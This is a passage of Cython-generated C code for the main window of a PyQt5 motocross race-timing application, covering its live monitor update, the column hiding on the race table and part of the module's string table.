__pyx_L31:; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; goto __pyx_L8_exception_handled; } goto __pyx_L9_except_error; __pyx_L9_except_error:; /* "MainWindow.py":263 * type = e.type * color = colors["White"] * try: # <<<<<<<<<<<<<< * if tp in Globals.dictBestLapMonitor: * tt = Globals.dictBestLapMonitor[tp] */ __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_9); __Pyx_XGIVEREF(__pyx_t_10); __Pyx_XGIVEREF(__pyx_t_11); __Pyx_ExceptionReset(__pyx_t_9, __pyx_t_10, __pyx_t_11); goto __pyx_L1_error; __pyx_L8_exception_handled:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_9); __Pyx_XGIVEREF(__pyx_t_10); __Pyx_XGIVEREF(__pyx_t_11); __Pyx_ExceptionReset(__pyx_t_9, __pyx_t_10, __pyx_t_11); __pyx_L14_try_end:; } } /* "MainWindow.py":253 * * self.TM_T_passage.setSortingEnabled(False) * for task in Globals.receiver: # <<<<<<<<<<<<<< * r = Globals.receiver[task] * pos = task */ } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":239 * self.initGuiConcurrents() * * def updateMonitor(self): # <<<<<<<<<<<<<< * def setLine(self, color, row, column, text): * try: */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_12); __Pyx_XDECREF(__pyx_t_13); __Pyx_XDECREF(__pyx_t_15); __Pyx_AddTraceback("MainWindow.MainWindow.updateMonitor", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_setLine); __Pyx_XDECREF(__pyx_v_task); __Pyx_XDECREF(__pyx_v_r); __Pyx_XDECREF(__pyx_v_pos); __Pyx_XDECREF(__pyx_v_q); __Pyx_XDECREF(__pyx_v_e); __Pyx_XDECREF(__pyx_v_tp); __Pyx_XDECREF(__pyx_v_millis); __Pyx_XDECREF(__pyx_v_type); __Pyx_XDECREF(__pyx_v_color); __Pyx_XDECREF(__pyx_v_tt); __Pyx_XDECREF(__pyx_v_c); __Pyx_XDECREF(__pyx_v_lap); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "MainWindow.py":327 * print( e ) * * def main(self): # <<<<<<<<<<<<<< * self.connectActions() * self.initGui() */ /* Python wrapper */ static PyObject *__pyx_pw_10MainWindow_10MainWindow_37main(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_10MainWindow_10MainWindow_37main = {"main", (PyCFunction)__pyx_pw_10MainWindow_10MainWindow_37main, METH_O, 0}; static PyObject *__pyx_pw_10MainWindow_10MainWindow_37main(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("main (wrapper)", 0); __pyx_r = __pyx_pf_10MainWindow_10MainWindow_36main(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_10MainWindow_10MainWindow_36main(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; __Pyx_RefNannySetupContext("main", 0); /* "MainWindow.py":328 * * def main(self): * self.connectActions() # <<<<<<<<<<<<<< * self.initGui() * self.R_RaceLive.setColumnHidden(0, True) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_connectActions); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 328, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 328, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 328, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":329 * def main(self): * self.connectActions() * self.initGui() # <<<<<<<<<<<<<< * self.R_RaceLive.setColumnHidden(0, True) * self.R_RaceLive.setColumnHidden(1, True) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_initGui); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 329, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 329, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 329, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":330 * self.connectActions() * self.initGui() * self.R_RaceLive.setColumnHidden(0, True) # <<<<<<<<<<<<<< * self.R_RaceLive.setColumnHidden(1, True) * self.R_RaceLive.setColumnHidden(2, True) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 330, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setColumnHidden); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 330, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__18, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 330, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":331 * self.initGui() * self.R_RaceLive.setColumnHidden(0, True) * self.R_RaceLive.setColumnHidden(1, True) # <<<<<<<<<<<<<< * self.R_RaceLive.setColumnHidden(2, True) * self.R_RaceLive.setColumnHidden(3, True) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 331, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setColumnHidden); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 331, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__19, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 331, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":332 * self.R_RaceLive.setColumnHidden(0, True) * self.R_RaceLive.setColumnHidden(1, True) * self.R_RaceLive.setColumnHidden(2, True) # <<<<<<<<<<<<<< * self.R_RaceLive.setColumnHidden(3, True) * self.R_RaceLive.setColumnHidden(4, True) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 332, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setColumnHidden); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 332, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__20, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 332, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":333 * self.R_RaceLive.setColumnHidden(1, True) * self.R_RaceLive.setColumnHidden(2, True) * self.R_RaceLive.setColumnHidden(3, True) # <<<<<<<<<<<<<< * self.R_RaceLive.setColumnHidden(4, True) * self.R_RaceLive.setColumnHidden(5, True) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 333, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setColumnHidden); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 333, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__21, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 333, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":334 * self.R_RaceLive.setColumnHidden(2, True) * self.R_RaceLive.setColumnHidden(3, True) * self.R_RaceLive.setColumnHidden(4, True) # <<<<<<<<<<<<<< * self.R_RaceLive.setColumnHidden(5, True) * */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 334, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setColumnHidden); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 334, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__22, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 334, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":335 * self.R_RaceLive.setColumnHidden(3, True) * self.R_RaceLive.setColumnHidden(4, True) * self.R_RaceLive.setColumnHidden(5, True) # <<<<<<<<<<<<<< * * self.timer = QTimer() */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 335, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setColumnHidden); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 335, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__23, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 335, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":337 * self.R_RaceLive.setColumnHidden(5, True) * * self.timer = QTimer() # <<<<<<<<<<<<<< * self.timer.timeout.connect(self.updateMonitor) * self.timer.start(1000) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QTimer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 337, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 337, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 337, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_timer, __pyx_t_1) < 0) __PYX_ERR(0, 337, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":338 * * self.timer = QTimer() * self.timer.timeout.connect(self.updateMonitor) # <<<<<<<<<<<<<< * self.timer.start(1000) * self.show() */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_timer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 338, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_timeout); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 338, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_connect); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 338, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_updateMonitor); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 338, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 338, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 338, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 338, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 338, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 338, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":339 * self.timer = QTimer() * self.timer.timeout.connect(self.updateMonitor) * self.timer.start(1000) # <<<<<<<<<<<<<< * self.show() */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_timer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 339, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_start); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 339, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__24, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 339, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":340 * self.timer.timeout.connect(self.updateMonitor) * self.timer.start(1000) * self.show() # <<<<<<<<<<<<<< */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_show); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 340, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 340, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 340, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":327 * print( e ) * * def main(self): # <<<<<<<<<<<<<< * self.connectActions() * self.initGui() */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_AddTraceback("MainWindow.MainWindow.main", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyMethodDef __pyx_methods[] = { {0, 0, 0, 0} }; #if PY_MAJOR_VERSION >= 3 static struct PyModuleDef __pyx_moduledef = { #if PY_VERSION_HEX < 0x03020000 { PyObject_HEAD_INIT(NULL) NULL, 0, NULL }, #else PyModuleDef_HEAD_INIT, #endif "MainWindow", 0, /* m_doc */ -1, /* m_size */ __pyx_methods /* m_methods */, NULL, /* m_reload */ NULL, /* m_traverse */ NULL, /* m_clear */ NULL /* m_free */ }; #endif static __Pyx_StringTabEntry __pyx_string_tab[] = { {&__pyx_kp_u_4_0d, __pyx_k_4_0d, sizeof(__pyx_k_4_0d), 0, 1, 0, 0}, {&__pyx_kp_u_5d, __pyx_k_5d, sizeof(__pyx_k_5d), 0, 1, 0, 0}, {&__pyx_kp_u_8d, __pyx_k_8d, sizeof(__pyx_k_8d), 0, 1, 0, 0}, {&__pyx_n_s_B_Define, __pyx_k_B_Define, sizeof(__pyx_k_B_Define), 0, 0, 1, 1}, {&__pyx_n_s_B_Start, __pyx_k_B_Start, sizeof(__pyx_k_B_Start), 0, 0, 1, 1}, {&__pyx_n_s_B_Stop, __pyx_k_B_Stop, sizeof(__pyx_k_B_Stop), 0, 0, 1, 1}, {&__pyx_n_u_Blue, __pyx_k_Blue, sizeof(__pyx_k_Blue), 0, 1, 0, 1}, {&__pyx_n_u_CHE, __pyx_k_CHE, sizeof(__pyx_k_CHE), 0, 1, 0, 1}, {&__pyx_n_s_C_concurrents_ID_fmt, __pyx_k_C_concurrents_ID_fmt, sizeof(__pyx_k_C_concurrents_ID_fmt), 0, 0, 1, 1}, {&__pyx_n_s_C_concurrents_TP_fmt, __pyx_k_C_concurrents_TP_fmt, sizeof(__pyx_k_C_concurrents_TP_fmt), 0, 0, 1, 1}, {&__pyx_n_s_C_concurrents_item_fmt, __pyx_k_C_concurrents_item_fmt, sizeof(__pyx_k_C_concurrents_item_fmt), 0, 0, 1, 1}, {&__pyx_n_s_C_concurrents_moni_fmt, __pyx_k_C_concurrents_moni_fmt, sizeof(__pyx_k_C_concurrents_moni_fmt), 0, 0, 1, 1}, {&__pyx_n_s_C_listFont, __pyx_k_C_listFont, sizeof(__pyx_k_C_listFont), 0, 0, 1, 1}, {&__pyx_n_u_Carton, __pyx_k_Carton, sizeof(__pyx_k_Carton), 0, 1, 0, 1}, {&__pyx_n_u_Concurrents, __pyx_k_Concurrents, sizeof(__pyx_k_Concurrents), 0, 1, 0, 1}, {&__pyx_n_u_Cyan, __pyx_k_Cyan, sizeof(__pyx_k_Cyan), 0, 1, 0, 1}, {&__pyx_n_s_Globals, __pyx_k_Globals, sizeof(__pyx_k_Globals), 0, 0, 1, 1}, {&__pyx_n_u_Green, __pyx_k_Green, sizeof(__pyx_k_Green), 0, 1, 0, 1}, {&__pyx_n_s_L_racerlist, __pyx_k_L_racerlist, sizeof(__pyx_k_L_racerlist), 0, 0, 1, 1}, {&__pyx_n_u_MX1, __pyx_k_MX1, sizeof(__pyx_k_MX1), 0, 1, 0, 1}, {&__pyx_n_u_MX125, __pyx_k_MX125, sizeof(__pyx_k_MX125), 0, 1, 0, 1}, {&__pyx_n_u_MX2, __pyx_k_MX2, sizeof(__pyx_k_MX2), 0, 1, 0, 1}, {&__pyx_n_u_MX3, __pyx_k_MX3, sizeof(__pyx_k_MX3), 0, 1, 0, 1}, {&__pyx_n_s_MainWindow, __pyx_k_MainWindow, sizeof(__pyx_k_MainWindow), 0, 0, 1, 1}, {&__pyx_n_u_MainWindow, __pyx_k_MainWindow, sizeof(__pyx_k_MainWindow), 0, 1, 0, 1}, {&__pyx_n_s_MainWindow__ActualRace, __pyx_k_MainWindow__ActualRace, sizeof(__pyx_k_MainWindow__ActualRace), 0, 0, 1, 1}, {&__pyx_n_s_MainWindow__RacerEdited, __pyx_k_MainWindow__RacerEdited, sizeof(__pyx_k_MainWindow__RacerEdited), 0, 0, 1, 1}, {&__pyx_n_s_MainWindow___init, __pyx_k_MainWindow___init, sizeof(__pyx_k_MainWindow___init), 0, 0, 1, 1}, {&__pyx_n_s_MainWindow_addRacer, __pyx_k_MainWindow_addRacer, sizeof(__pyx_k_MainWindow_addRacer), 0, 0, 1, 1}, {&__pyx_n_s_MainWindow_connectActions, __pyx_k_MainWindow_connectActions, sizeof(__pyx_k_MainWindow_connectActions), 0, 0, 1, 1}, {&__pyx_n_s_MainWindow_editRacer, __pyx_k_MainWindow_editRacer, sizeof(__pyx_k_MainWindow_editRacer), 0, 0, 1, 1}, {&__pyx_n_s_MainWindow_findNpa, __pyx_k_MainWindow_findNpa, sizeof(__pyx_k_MainWindow_findNpa), 0, 0, 1, 1}, {&__pyx_n_s_MainWindow_findNumRacer, __pyx_k_MainWindow_findNumRacer, sizeof(__pyx_k_MainWindow_findNumRacer), 0, 0, 1, 1}, {&__pyx_n_s_MainWindow_findVille, __pyx_k_MainWindow_findVille, sizeof(__pyx_k_MainWindow_findVille), 0, 0, 1, 1}, {&__pyx_n_s_MainWindow_getActualRace, __pyx_k_MainWindow_getActualRace, sizeof(__pyx_k_MainWindow_getActualRace), 0, 0, 1, 1}, {&__pyx_n_s_MainWindow_getRacer, __pyx_k_MainWindow_getRacer, sizeof(__pyx_k_MainWindow_getRacer), 0, 0, 1, 1}, {&__pyx_n_s_MainWindow_initGui, __pyx_k_MainWindow_initGui, sizeof(__pyx_k_MainWindow_initGui), 0, 0, 1, 1}, {&__pyx_n_s_MainWindow_initGuiConcurrents, __pyx_k_MainWindow_initGuiConcurrents, sizeof(__pyx_k_MainWindow_initGuiConcurrents), 0, 0, 1, 1}, {&__pyx_n_s_MainWindow_initGuiMarques, __pyx_k_MainWindow_initGuiMarques, sizeof(__pyx_k_MainWindow_initGuiMarques), 0, 0, 1, 1}, {&__pyx_n_s_MainWindow_initGuiPays, __pyx_k_MainWindow_initGuiPays, sizeof(__pyx_k_MainWindow_initGuiPays), 0, 0, 1, 1}, {&__pyx_n_s_MainWindow_initListConcurrents, __pyx_k_MainWindow_initListConcurrents, sizeof(__pyx_k_MainWindow_initListConcurrents), 0, 0, 1, 1}, {&__pyx_n_s_MainWindow_main, __pyx_k_MainWindow_main, sizeof(__pyx_k_MainWindow_main), 0, 0, 1, 1}, {&__pyx_n_s_MainWindow_setRacer, __pyx_k_MainWindow_setRacer, sizeof(__pyx_k_MainWindow_setRacer), 0, 0, 1, 1}, {&__pyx_n_s_MainWindow_setRacerTb, __pyx_k_MainWindow_setRacerTb, sizeof(__pyx_k_MainWindow_setRacerTb), 0, 0, 1, 1}, {&__pyx_n_s_MainWindow_startRace, __pyx_k_MainWindow_startRace, sizeof(__pyx_k_MainWindow_startRace), 0, 0, 1, 1}, {&__pyx_n_s_MainWindow_updateMonitor, __pyx_k_MainWindow_updateMonitor, sizeof(__pyx_k_MainWindow_updateMonitor), 0, 0, 1, 1}, {&__pyx_n_s_MainWindow_updateMonitor_locals, __pyx_k_MainWindow_updateMonitor_locals, sizeof(__pyx_k_MainWindow_updateMonitor_locals), 0, 0, 1, 1}, {&__pyx_n_s_MatchStartsWith, __pyx_k_MatchStartsWith, sizeof(__pyx_k_MatchStartsWith), 0, 0, 1, 1}, {&__pyx_n_u_Mini, __pyx_k_Mini, sizeof(__pyx_k_Mini), 0, 1, 0, 1}, {&__pyx_n_u_Nouveau, __pyx_k_Nouveau, sizeof(__pyx_k_Nouveau), 0, 1, 0, 1}, {&__pyx_kp_u_P_d_s, __pyx_k_P_d_s, sizeof(__pyx_k_P_d_s), 0, 1, 0, 0}, {&__pyx_n_u_Pro, __pyx_k_Pro, sizeof(__pyx_k_Pro), 0, 1, 0, 1}, {&__pyx_n_s_PyQt5, __pyx_k_PyQt5, sizeof(__pyx_k_PyQt5), 0, 0, 1, 1}, {&__pyx_n_s_PyQt5_QtCore, 